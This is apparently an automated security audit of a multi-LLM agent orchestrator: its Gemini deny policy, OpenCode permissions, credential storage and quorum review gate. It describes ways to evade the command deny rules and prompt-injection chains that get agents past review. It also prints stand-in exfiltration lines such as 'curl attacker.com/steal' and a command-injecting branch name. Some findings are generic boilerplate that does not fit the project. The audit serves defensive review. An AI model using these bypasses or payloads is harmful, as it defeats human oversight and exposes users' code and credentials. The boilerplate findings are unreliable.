ROOT CAUSE: The OpenCode configuration grants unrestricted access to external resources (web, filesystem, bash) without any dependency verification or access control. The architecture treats all external resources as equally trustworthy, with no concept of resource scoping or verification. The opencode.snippet.json grants 4 unrestricted external resource permissions: websearch/webfetch for any domain, external_directory for any path, bash allowlist with dangerous commands, and a catch-all bash rule. The architectural problem is that there's no resource access control — no domain verification for web access, no path validation for file access, no command verification for bash. Individual patches to 'restrict websearch to specific domains' or 'restrict external_directory to specific paths' would each address one resource but the architecture would still lack a unified resource access control system. This architectural issue produced 4 individual findings that cannot be resolved with line-by-line patches.

ROOT CAUSE: The OpenCode configuration has no edge security controls — no request size limits, no WebSocket authentication, no rate limiting. The architecture treats all incoming requests as equally valid with no protection against abuse or resource exhaustion. The opencode.snippet.json has 3 missing edge security controls: no request size limits on webfetch operations, no authentication for WebSocket upgrades, and no IP-based rate limiting. The architectural problem is that there's no edge security layer — no request validation, no authentication checks, no rate limiting. Individual patches to 'add request size limits to webfetch' or 'implement rate limiting' would each address one edge but the architecture would still lack a unified edge security system. This architectural issue produced 3 individual findings that cannot be resolved with line-by-line patches.

**Perspective 1:** The installer prompt instructs Claude to run `sudo apt install` for system tools. While this is necessary for installation, there is no verification step to ensure the packages are from trusted sources or that the user understands the security implications. **Perspective 2:** The installation instructions only cover direct host installation. There is no option to run the orchestrator or agents in Docker containers, which would provide better isolation and reproducibility.

The README.md contains no security policy, responsible disclosure guidelines, or contact information for reporting security vulnerabilities. Users who discover credential exposure or other security issues have no documented channel to report them.

The README does not include a security policy, vulnerability disclosure process, or information about how to report security issues. Users who discover supply chain vulnerabilities in the project have no clear channel to report them responsibly. This increases the risk that vulnerabilities will be exploited before they are patched.

The README describes running multiple LLM agents in tmux sessions directly on the host. There is no mention of containerization, sandboxing, or any security isolation between agents. This is a significant security gap for a system that processes untrusted code.

The system runs multiple LLM agents (Codex, Gemini, OpenCode) in parallel tmux sessions, each with broad file system and network permissions. If any single agent is compromised or hallucinates a dangerous action, it could affect the system before the orchestrator intervenes.

The agent-sessions README.md documents the multi-LLM fleet setup but contains no security warnings about credential management. It references agents.json and status.json but does not mention that these files might contain or reference sensitive credentials. Users managing multiple LLM accounts may inadvertently expose credentials in these configuration files.

The tmux-based agent sessions maintain persistent terminal buffers. If these sessions are logged or if the tmux buffer is captured for debugging, they contain the full conversation history including code snippets, API keys mentioned in prompts, and internal architecture details. The `agent-status` command and tmux attach workflow expose these buffers to any user who can access the tmux sessions.

**Perspective 1:** The `/work` orchestrator runs agents directly on the host without any container isolation. If an agent is compromised or behaves maliciously, it has full access to the host filesystem, processes, and network. This is a significant security concern for a system that executes code from multiple LLM providers. **Perspective 2:** All agents run on the same host with unrestricted network access. A compromised agent could attack other agents, access internal services, or exfiltrate data. The opencode config explicitly allows `webfetch` and `websearch`. **Perspective 3:** The orchestrator logs some events (approvals, destructive blocks) but does not provide comprehensive audit logging of all agent actions. In a security incident, it would be difficult to determine exactly what a compromised agent did.

**Perspective 1:** The /work orchestrator runs multi-LLM reviews with up to 3 rounds of disagreement loops. Each round triggers API calls to Codex, Gemini, and OpenCode — potentially 9+ LLM API calls per workflow. There is no mechanism to detect or halt when cumulative API spend exceeds a configurable budget. A buggy prompt or adversarial input could trigger hundreds of review rounds, each costing real money. **Perspective 2:** The work-pack-build assembles XML packs from discovered context files, architecture docs, memory files, journals, and diffs. While there is a MAX_CTX_BYTES cap (800 KB), there is no per-file or per-source size limit. An attacker who can write large files to the workspace (e.g., a large memory file or journal) could inflate the pack size, causing each reviewer to process more tokens and increasing API costs proportionally. **Perspective 3:** The /work slash command can be invoked repeatedly without any rate limiting or cooldown. Each invocation triggers 3+ LLM API calls. An attacker or automated script could invoke /work hundreds of times per hour, each costing real money for Codex, Gemini, and OpenCode API calls. There is no per-user, per-session, or per-hour invocation cap. **Perspective 4:** The review workflow sends prompts to LLM reviewers (Codex, Gemini, OpenCode) without specifying max_tokens limits. Each reviewer could generate arbitrarily long responses, especially when disagreement loops trigger detailed findings. This unbounded token generation can significantly increase API costs per review round, particularly for models that charge per output token. **Perspective 5:** The /work orchestrator fans out review requests to 3+ LLM agents in parallel. There is no limit on how many concurrent review workflows can run simultaneously. An attacker triggering multiple /work invocations could cause N×3 concurrent LLM API calls, multiplying costs linearly. With auto-scaling or unlimited concurrency, this could exhaust API quotas and cause significant financial damage. **Perspective 6:** The system has no built-in mechanism to detect anomalous API spend patterns. A sudden increase in review volume, oversized packs, or runaway disagreement loops would not trigger any alert. By the time the monthly bill arrives, financial damage is already done. There are no tripwires between normal usage and financial damage. **Perspective 7:** The system does not implement per-user or per-tenant spending limits on LLM API usage. A single user or compromised account could consume unlimited API credits across Codex, Gemini, and OpenCode. Without per-identity budgets, there is no way to contain financial damage from a single compromised agent or malicious insider. **Perspective 8:** The resilience section describes retry logic for provider errors (5xx, rate limits) but does not specify a maximum retry budget or exponential backoff ceiling. An attacker who can trigger persistent provider errors (e.g., by sending malformed prompts) could cause the system to retry indefinitely, each retry consuming API quota and incurring costs. Without a circuit breaker, retries continue until manual intervention.

The GEMINI.snippet.md file provides operational instructions for the Gemini CLI but does not include any guidance on secure handling of authentication tokens, OAuth credentials, or API keys. The Gemini CLI stores OAuth credentials in ~/.gemini/oauth_creds.json, which could be exposed if the file is accidentally committed or shared.

The Gemini agent is instructed to use `write_file` to create findings files. These files contain code snippets, file paths, and analysis of the codebase. If the findings files are written to world-readable /tmp/work-* directories, any process or user on the system can read them. Additionally, if the orchestrator later includes these findings in any outbound communication (webhook, PR description, email), the codebase content is exfiltrated.

The Gemini policy file defines destructive command blocks globally without any tenant isolation. If multiple tenants share the same Gemini instance, policy evaluations could leak which commands are blocked or allowed across tenants. The deny messages contain hardcoded references that could reveal system configuration to other tenants.

**Perspective 1:** The policy file explicitly documents ReDoS-safe rewrites but the patterns may still have edge cases. The `commandRegex` patterns use `\b` word boundaries that can be bypassed with Unicode characters or special shell syntax. For example, `rm` can be invoked as `r\m` (backslash continuation), `'rm'` (quoted), or `r$()m` (command substitution). The patterns also don't cover all shell obfuscation techniques like environment variable expansion (`$CMD rm`), wildcard expansion (`/bin/r[mt]`), or indirect execution via `xargs` or `find -exec`. **Perspective 2:** The policy blocks `docker exec ... (rm|chown|chmod)` but allows other docker exec commands. An attacker could use `docker exec container bash` to get a shell inside a container, or `docker exec container cat /etc/shadow` to read sensitive files. The pattern only blocks destructive operations but allows arbitrary read and execute operations inside containers. **Perspective 3:** The policy blocks `git checkout .` and `git checkout --` which are legitimate operations for discarding working directory changes. While this is a safety measure, it may prevent legitimate use cases. More importantly, the pattern `git checkout .` can be bypassed with `git checkout ./` or `git checkout -- .` which are functionally equivalent but not blocked.

**Perspective 1:** The deny rules only apply to `run_shell_command`. The `write_file` and `replace` tools are only blocked for system paths (/etc, /usr, etc.), but not for arbitrary paths within the workspace. A malicious prompt could overwrite critical project files (e.g., package.json, Dockerfile) without triggering any deny rule. **Perspective 2:** The policy file does not include any rules to prevent resource exhaustion attacks (e.g., fork bombs, disk fill, memory exhaustion). A malicious prompt could cause the agent to consume all available system resources.

**Perspective 1:** The deny rules use regex patterns that can be bypassed with encoding tricks. For example, the rm command rule `'^(?:rm|rmdir|unlink|shred|truncate)\b'` can be bypassed using hex encoding (`\x72m`), base64-encoded commands piped to bash, or by using alternative tools like `busybox rm`. The sudo rule `'^sudo[ \t]+(?:rm|rmdir|unlink|shred|truncate)\b'` can be bypassed with `sudo -- rm` or `sudo -u root rm`. **Perspective 2:** The Gemini policy file does not include any validation for the Host header in HTTP requests. If the Gemini CLI makes HTTP requests (which it does for API calls), missing Host header validation could allow host header injection attacks. An attacker could manipulate the Host header to poison caches, bypass access controls, or redirect requests to malicious servers. **Perspective 3:** The policy file does not specify any TLS requirements for communication between the Gemini CLI and any backend services. If the Gemini CLI communicates with a reverse proxy or backend service over plaintext HTTP, traffic could be intercepted. While this is a configuration file and not the actual network configuration, the absence of TLS enforcement is notable. **Perspective 4:** The write_file/replace deny rule checks for absolute paths starting with `/etc`, `/usr`, `/var`, etc. However, it does not account for path normalization differences between the Gemini CLI and any reverse proxy. For example, paths like `/./etc/passwd`, `/etc/./passwd`, or `//etc/passwd` might bypass the rule if the proxy normalizes them differently than the CLI. The argsPattern regex `'"file_path":"/(?:etc|usr|var|boot|sys|proc|root|opt|bin|sbin|lib)/'` does not handle encoded or normalized variants.

The rule blocks `docker exec ... rm/chown/chmod` but does not block other destructive commands like `docker exec ... dd`, `docker exec ... kill`, or `docker exec ... git push --force`. An attacker could use docker exec to run arbitrary destructive commands inside containers.

The write protection rule blocks writes to system paths (/etc, /usr, /var, etc.) but does not block writes to user-sensitive paths like ~/.ssh/, ~/.aws/, ~/.config/, or ~/.gnupg/. An attacker could overwrite SSH keys or add malicious configuration.

The write_file/replace protection only blocks writes to system paths (/etc, /usr, /var, etc.). Writes to the project workspace or user home directory are not restricted. An attacker could overwrite project files, inject malicious code, or modify configuration files in the workspace without triggering any policy violation.

The write_file/replace deny rule blocks writes to /etc, /usr, /var, /boot, /sys, /proc, /root, /opt, /bin, /sbin, /lib but does NOT block writes to /home (user home directories), ~/.ssh (SSH keys), ~/.config (application configs), ~/.gemini (Gemini configs), or ~/.codex (Codex configs). An attacker could overwrite SSH authorized_keys, steal credentials, or modify CLI configurations without triggering the deny rule.

The argsPattern for write_file and replace tools uses a regex that matches paths starting with /etc, /usr, /var, etc. However, this regex can potentially be bypassed using path traversal techniques (e.g., /var/../etc/passwd) or symlinks. Additionally, the regex only blocks writes to system paths but does not protect against writes to user home directories or other sensitive locations.

The Gemini CLI is configured with 'defaultApprovalMode': 'auto_edit' which means file write operations are automatically approved. While this is intentional for the orchestrator workflow, it means any compromised or malicious prompt could overwrite project files without user consent. An attacker who gains access to the Gemini session could modify source code, configuration files, or inject backdoors.

The bash permission allowlist includes many commands (ls, cat, head, tail, grep, find, echo, sed, awk, etc.) that can be used to read arbitrary files or exfiltrate data. While individually benign, combined they enable an attacker or compromised agent to read any file on the system and potentially exfiltrate it via echo or other output mechanisms.

The Gemini policy file comprehensively blocks destructive commands (rm, sudo, git push --force, etc.) but does not block commands that could exfiltrate data. Commands like 'curl', 'wget', 'nc', 'ssh', 'scp', and 'git push' (without --force) are not blocked, allowing an attacker to send source code or credentials to an external server.

The policy file blocks specific destructive commands (rm, sudo, git push -f, etc.) but does not block other potentially dangerous operations like writing to arbitrary file paths outside the workspace, executing arbitrary Python/Node scripts, or making network requests.

The Gemini deny policy file blocks destructive commands (rm, sudo, chmod, etc.) but does not restrict reading sensitive files like ~/.gemini/oauth_creds.json or other credential stores. While Gemini runs in auto_edit mode, the lack of read restrictions means credentials could be read and potentially exfiltrated through the review process.

The deny policy focuses on destructive commands (rm, sudo, git force-push) but has no rules to prevent data exfiltration via network calls, file reads, or API calls. An agent could read sensitive files and send them to external servers without triggering any deny rule.

The Gemini policy file (00-deny-destructive.toml) is copied from the repository to ~/.gemini/policies/ without any integrity verification. If the repository is compromised, a modified policy file could remove or weaken the destructive command blocks, allowing Gemini to execute dangerous operations. There is no mechanism to detect unauthorized modifications to the policy file after installation.

**Perspective 1:** The installer instructs users to store MOONSHOT_API_KEY and DEEPSEEK_API_KEY in `~/.config/opencode/.env` with mode 600. While file permissions are set, the keys are stored in plaintext without encryption. Any process running as the same user (including the AI agents with broad bash permissions) can read these keys. **Perspective 2:** The installer copies `~/.codex/config.toml` to `~/.codex-cdx-2/` and `~/.codex-cdx-3/` for multi-account setups, but explicitly warns not to copy `auth.json`. However, the config.toml may contain session tokens or credential references. The instruction relies on the user to manually avoid copying sensitive files, which is error-prone.

**Perspective 1:** INSTALL.md instructs users to store MOONSHOT_API_KEY and DEEPSEEK_API_KEY in ~/.config/opencode/.env with mode 600. While file permissions restrict other users, the opencode agent itself can read this file via the permissive 'cat*' bash rule. Additionally, the .env file is stored in plaintext with no encryption at rest. If the machine is compromised or the file is accidentally backed up/shared, these API keys are exposed. **Perspective 2:** INSTALL.md instructs users to copy ~/.codex/config.toml to ~/.codex-cdx-2/ and ~/.codex-cdx-3/ for multi-account setups, but explicitly warns 'NEVER copy ~/.codex/auth.json — each account has its own.' This creates a risk where users might accidentally copy auth.json as well, exposing authentication tokens across accounts. The instruction relies on user discipline rather than automated safeguards. **Perspective 3:** The installation instructions provide no guidance on rotating API keys (MOONSHOT_API_KEY, DEEPSEEK_API_KEY) or OAuth credentials. If a key is compromised, there is no documented process for rotation. The system has no built-in key rotation mechanism or expiration monitoring.

**Perspective 1:** The installer instructs users to store Moonshot and DeepSeek API keys in `~/.config/opencode/.env` with mode 600. While 600 is reasonable, the keys are stored in plaintext without encryption at rest. Any process with access to the user's home directory can read these keys. Additionally, there is no mention of key rotation policies or secure key management. **Perspective 2:** The installer configures the system to send code and planning documents to multiple third-party AI providers (OpenAI, Google, Moonshot, DeepSeek) without any consent tracking mechanism. There is no record of user consent for data processing, no privacy policy disclosure, and no mechanism for users to withdraw consent, violating GDPR Articles 7 and 8. **Perspective 3:** The system sends code and potentially PII to AI providers (OpenAI, Google, Moonshot, DeepSeek) which may be located in jurisdictions with different data protection laws. There are no Standard Contractual Clauses (SCCs), Binding Corporate Rules (BCRs), or adequacy decisions mentioned, violating GDPR Articles 44-49 on international data transfers. **Perspective 4:** The system stores review findings, planning documents, and configuration files in plaintext on the filesystem (`~/.work/`, `/tmp/work-*`, `planning/`). There is no mention of encryption at rest for these files, which may contain proprietary code, PII, or other sensitive data. If the filesystem is compromised, all data is exposed. **Perspective 5:** The system creates multiple temporary and permanent files (`/tmp/work-*`, `planning/*.md`, `~/.work/state.json`, `~/.work/agent-lru.json`) but has no defined data retention policy or automatic cleanup mechanism. Old review data may persist indefinitely, violating data minimization and storage limitation principles (GDPR Article 5(1)(c) and (e)).

The `/work` command orchestrates multi-LLM reviews without any tenant isolation. Task IDs, planning documents, review packs, and git operations are all managed globally. A tenant could see another tenant's planning docs, review findings, or git branches. The `work review` command builds XML packs with auto-discovered context that could include files from other tenants. The pre-merge checklist and PR operations have no tenant scoping.

**Perspective 1:** The /work orchestrator has auto_edit mode, auto-approves shell commands, and runs git operations. An attacker who compromises the orchestrator's prompt (via prompt injection in a code review pack, malicious git repo, or compromised agent) gains: (1) arbitrary file write via write_file tool, (2) git push with force flags, (3) ability to override quorum via /work override, (4) ability to modify the pre-merge checklist shown to user. Chain: inject malicious code in a review pack → orchestrator auto-approves write_file → backdoor inserted into production code → quorum override skips review → merge happens. The pre-merge checklist is self-reported by Claude, not independently verified. **Perspective 2:** The system stores multiple API keys and credentials across agent sessions: (1) ~/.config/opencode/.env contains MOONSHOT_API_KEY and DEEPSEEK_API_KEY, (2) ~/.gemini/oauth_creds.json contains Google AI OAuth tokens, (3) ~/.codex/auth.json contains ChatGPT authentication, (4) ~/.codex-cdx-2/ and ~/.codex-cdx-3/ contain additional ChatGPT credentials. An attacker who compromises any single agent can read all other agents' credentials because: (a) opencode has external_directory access, (b) gemini has auto_edit mode, (c) codex has sandbox_mode = 'workspace-write' with network_access = true. Chain: compromise opencode agent → read ~/.gemini/oauth_creds.json → use Gemini credentials to access Google AI → pivot to other services. **Perspective 3:** The /work orchestrator clones repositories and runs code from them. An attacker who controls a repository (via compromised GitHub account, malicious PR, or dependency confusion) can: (1) include a malicious planning doc that contains prompt injection, (2) include malicious test files that execute when tests are run, (3) modify the pre-merge checklist to hide malicious changes, (4) use the auto-approve mechanism to execute arbitrary commands. The system has no verification of repository integrity (no GPG signing verification, no checksum validation, no code review of the orchestrator's own code changes). **Perspective 4:** All agent sessions run in tmux with shared access. An attacker who gains access to the user's machine (via malicious code execution, XSS in a web view, or physical access) can: (1) attach to any tmux session with 'tmux attach -t <session>', (2) read all agent prompts and responses, (3) inject commands into agent sessions via tmux send-keys, (4) modify agent findings files before they're read by the orchestrator. The tmux sessions have no authentication or access control. The nudge scripts use tmux paste-buffer which is shared across all sessions. **Perspective 5:** The work-pack-build script assembles XML packs containing: (1) full code files from the repository, (2) architecture documentation, (3) memory files with project context, (4) journals with development history, (5) git diffs showing all changes. These packs are sent to external LLM providers (OpenAI, Google AI, Moonshot, DeepSeek). An attacker who compromises any of these providers, or intercepts the network traffic, gains access to the entire codebase and development history. The packs can exceed 800KB and contain sensitive business logic, API keys in code, and architectural secrets. **Perspective 6:** The quorum system relies on agents writing findings files ending with '## DONE'. An attacker who compromises any single agent can: (1) write a findings file with '## DONE' for another agent that hasn't finished, (2) forge a quorum agreement by writing fake 'agree' verdicts, (3) prevent quorum by writing 'disagree' for all agents, (4) modify the converge.json output to change the decision. The system has no cryptographic verification of which agent wrote which file. The '## DONE' marker is a simple string match with no authentication. **Perspective 7:** The system has no rate limiting on agent usage. An attacker who can trigger /work commands (via malicious PR, compromised CI/CD, or social engineering) can: (1) exhaust ChatGPT subscription limits (5h/weekly), (2) consume Google AI Pro quota, (3) drain OpenCode Go subscription credits, (4) fill disk with /tmp/work-* directories. The system retries failed agents and swaps peers, which amplifies the attack by consuming more resources. The 'work clean' command is manual and not automated. **Perspective 8:** The orchestrator uses inotifywait with a 5-second safety wakeup. An attacker who can observe the timing of file writes can: (1) determine which agent is reviewing which file, (2) inject malicious findings before the orchestrator reads them, (3) race condition between agent writing '## DONE' and orchestrator reading the file. The 5-second wakeup creates a predictable timing window for race conditions. The inotifywait mechanism has no file locking or atomic write guarantees. **Perspective 9:** An attacker who compromises a reviewer agent can inject findings that: (1) claim security vulnerabilities that don't exist, (2) suggest 'fixes' that introduce backdoors, (3) recommend adding malicious dependencies, (4) request access to sensitive systems 'for testing'. The system trusts reviewer findings and acts on them. The pre-merge checklist is self-reported by Claude, not independently verified. The /work override mechanism allows bypassing quorum with a simple reason. **Perspective 10:** The orchestrator scripts are stored in ~/.local/bin/ and are writable by the user. An attacker who gains code execution can: (1) modify work, work-pack-build, or work-converge to add backdoors, (2) modify the slash command spec at ~/.claude/commands/work.md to change behavior, (3) modify agent configs at ~/.config/agent-sessions/agents.json to add malicious agents, (4) modify the pre-merge checklist to hide malicious changes. These modifications persist across system restarts and are not monitored for integrity. **Perspective 11:** Multiple agents share the same machine and configurations. An attacker who compromises one agent can: (1) read other agents' config files in ~/.config/agent-sessions/, (2) modify agents.json to add malicious agents, (3) read other agents' authentication tokens, (4) use one agent's network access to pivot to internal services. The codex agents have network_access = true in sandbox mode, allowing outbound connections. The gemini agent has auto_edit mode allowing file writes. **Perspective 12:** The system logs detailed error information to multiple files: error-retries.log, popup-dismissals.log, approvals.log, destructive-blocks.log. These logs contain: (1) command lines that were auto-approved, (2) destructive commands that were blocked, (3) provider error messages with API details, (4) agent session names and configurations. An attacker who gains read access to these logs can learn about system configuration, security controls, and potential attack vectors. **Perspective 13:** The agent LRU rotation uses a file-based state (~/.work/agent-lru.json) without file locking. Multiple concurrent /work commands could race on this file, leading to: (1) duplicate agent selection, (2) missed agent rotation, (3) stale state causing incorrect agent picks. While not directly exploitable, this could lead to quorum failures or unexpected behavior that an attacker could leverage.

**Perspective 1:** The orchestrator auto-approves 'safe' shell commands (e.g., 'cat findings.md') within ~15 seconds. An attacker who can craft a command that matches the 'safe' pattern but contains malicious payload (e.g., 'cat findings.md; curl attacker.com/steal') could bypass the permission system entirely. The auto-approval mechanism is time-based and pattern-based, both of which are trivially bypassable. **Perspective 2:** The '/work override' escape hatch allows any user to skip the quorum gate with a simple reason string. There is no authentication, no rate limiting, no approval workflow, and no persistent audit trail that cannot be tampered with. An attacker who gains access to the Claude session can override all security controls and merge malicious code without detection. **Perspective 3:** The pre-merge checklist asks Claude to self-report whether coding principles, architecture guidelines, and tests were followed. There is no automated verification that these claims are accurate. An attacker can simply claim 'followed' for all items and proceed to merge, bypassing the entire quality gate. The checklist provides a false sense of security. **Perspective 4:** The disagreement loop allows Claude to revise proposals based on reviewer findings and re-submit for review. An attacker who controls one reviewer (e.g., by compromising an opencode agent) can inject malicious findings that Claude will incorporate into the revised proposal. Over multiple rounds, the attacker can gradually steer the implementation toward malicious code while appearing to participate in good-faith review. **Perspective 5:** The workflow auto-commits, pushes branches, and opens PRs without user confirmation. Only the merge step requires user approval. An attacker who compromises the agent can push arbitrary code to any branch, open PRs with malicious content, and potentially trigger CI/CD pipelines that deploy to production. The single merge gate is insufficient protection. **Perspective 6:** The 'work pick-agents' command selects reviewers via LRU rotation, but an attacker who can manipulate the agent configuration file (~/.config/agent-sessions/agents.json) can control which agents are selected. By adding malicious agents or removing legitimate ones, the attacker can ensure only compromised or friendly agents participate in reviews, bypassing the lineage diversity requirement. **Perspective 7:** The orchestrator uses inotifywait to block on filesystem events. An attacker who can create files in the watched directory (e.g., via a compromised agent writing spurious findings files) can trigger premature wake-ups, causing the orchestrator to waste tokens and potentially timeout. Repeated false wake-ups could exhaust the user's API quota or cause the orchestrator to fail. **Perspective 8:** The task_id is derived from the branch name (e.g., 'feat/foo' → 'foo'). An attacker who can create branches with malicious names (e.g., 'feat/../../etc/passwd' or 'feat/$(curl attacker.com)') could inject path traversal or command injection into the task_id, which is used in file paths and shell commands throughout the workflow. **Perspective 9:** The workflow allows unlimited review requests. An attacker can trigger hundreds of reviews in rapid succession, exhausting the user's API quotas across all three providers (OpenAI, Google, OpenCode). This denial-of-service attack could cost the victim significant money and block legitimate work.

The policy file has extensive deny rules for shell commands (rm, sudo, chmod, git push -f, etc.) but zero rules for the write_file and replace tools. The only write_file/replace rule (line 310-313) blocks writes to system paths (/etc, /usr, /var, etc.) but allows writes to all other paths including the project workspace, home directory, and configuration files. An attacker can achieve the same destructive outcomes as rm -rf by overwriting files with empty content, or achieve the same as chmod by writing executable content. The policy creates a false sense of security by blocking shell commands while leaving the file-write tools completely unguarded for non-system paths.

The opencode config allows external_directory access, meaning the agent can read and write files outside its workspace. Combined with bash allow-list that includes echo*, cat*, and sed -n*, an attacker who compromises the opencode agent (via malicious pack content) can: (1) read SSH keys from ~/.ssh/, (2) read API keys from ~/.config/opencode/.env, (3) write malicious files to ~/.local/bin/ to replace orchestrator binaries, (4) read ~/.gemini/oauth_creds.json for Google AI credentials. The bash allow-list includes echo* which can be used to write arbitrary content to files.

**Perspective 1:** The `websearch: allow` and `webfetch: allow` permissions grant the AI agent unrestricted ability to send data to external web services. This could result in PII, proprietary code, or other sensitive data being transmitted to third-party servers without user knowledge or consent, violating GDPR Article 44 on cross-border data transfers and Article 32 on security of processing. **Perspective 2:** The `external_directory: allow` permission grants the AI agent read/write access to directories outside the project workspace, including `/tmp/work-*` packs. This could allow the agent to access sensitive files in other directories, including user documents, configuration files containing API keys, or other PII, without proper access controls or audit logging.

**Perspective 1:** The bash permission block uses a pattern allow-list ending with '"*": "ask"' which creates a dangerous fallback. Any command not explicitly listed will prompt the user for approval. However, the 'echo*' pattern is allowed without restriction, enabling arbitrary command execution through command substitution (e.g., `echo $(curl attacker.com/steal)`) or backtick injection. This bypasses the intent of the allow-list and can be used to execute any system command without triggering the 'ask' fallback. **Perspective 2:** The 'external_directory' permission is set to 'allow', which permits the agent to read and write files outside the project workspace. Combined with the bash allow-list, an attacker could read SSH keys, cloud credentials, API tokens, and other sensitive files from arbitrary system paths (e.g., ~/.ssh/id_rsa, ~/.aws/credentials, ~/.config/gcloud/application_default_credentials.json). This is a data exfiltration vector that bypasses workspace isolation. **Perspective 3:** Both 'websearch' and 'webfetch' are set to 'allow', enabling the agent to make arbitrary HTTP requests to any external service. This can be exploited for SSRF attacks against internal services, data exfiltration to attacker-controlled servers, or as a pivot point to scan internal networks. The agent could fetch attacker-controlled payloads or exfiltrate codebase contents to external endpoints. **Perspective 4:** The 'skill' permission is set to 'allow', which permits the agent to load and execute arbitrary skills. If an attacker can introduce a malicious skill file into the workspace (e.g., via a compromised dependency or git submodule), the agent will execute it without user approval. This creates a supply chain attack vector where malicious skills can exfiltrate data or modify code. **Perspective 5:** The 'task' permission is set to 'ask', which means the agent will prompt the user for approval before executing tasks. However, there is no defined timeout or escalation mechanism for when the user is unavailable. In automated workflows, this could cause the orchestrator to hang indefinitely or auto-approve after a timeout, bypassing the intended security gate.

This is a markdown installation guide. It contains no user-controlled output, no HTML rendering, and no content security issues.

This is a markdown README file for the GodModeSkill project. It contains no user-controlled output, no HTML rendering, and no content security issues.

This is a markdown README file documenting the multi-LLM tmux fleet setup. It contains no user-controlled output, no HTML rendering, and no content security issues.

This is a markdown file defining the /work slash command for Claude Code. It contains no user-controlled output, no HTML rendering, and no content security issues.

This is a markdown instruction file for opencode agents. It contains no user-controlled output, no HTML rendering, and no content security issues. It is a configuration/instruction document.

This is a markdown instruction file for Gemini. It contains no user-controlled output, no HTML rendering, and no content security issues. It is a configuration/instruction document.

This is a TOML policy file that defines deny rules for destructive commands. It contains no user-controlled output, no HTML rendering, and no content security issues.

This is a JSON configuration snippet for Gemini settings. It contains no user-controlled output, no HTML rendering, and no content security issues.

This is a JSON configuration file for opencode permissions. It contains no user-controlled output, no HTML rendering, and no content security issues.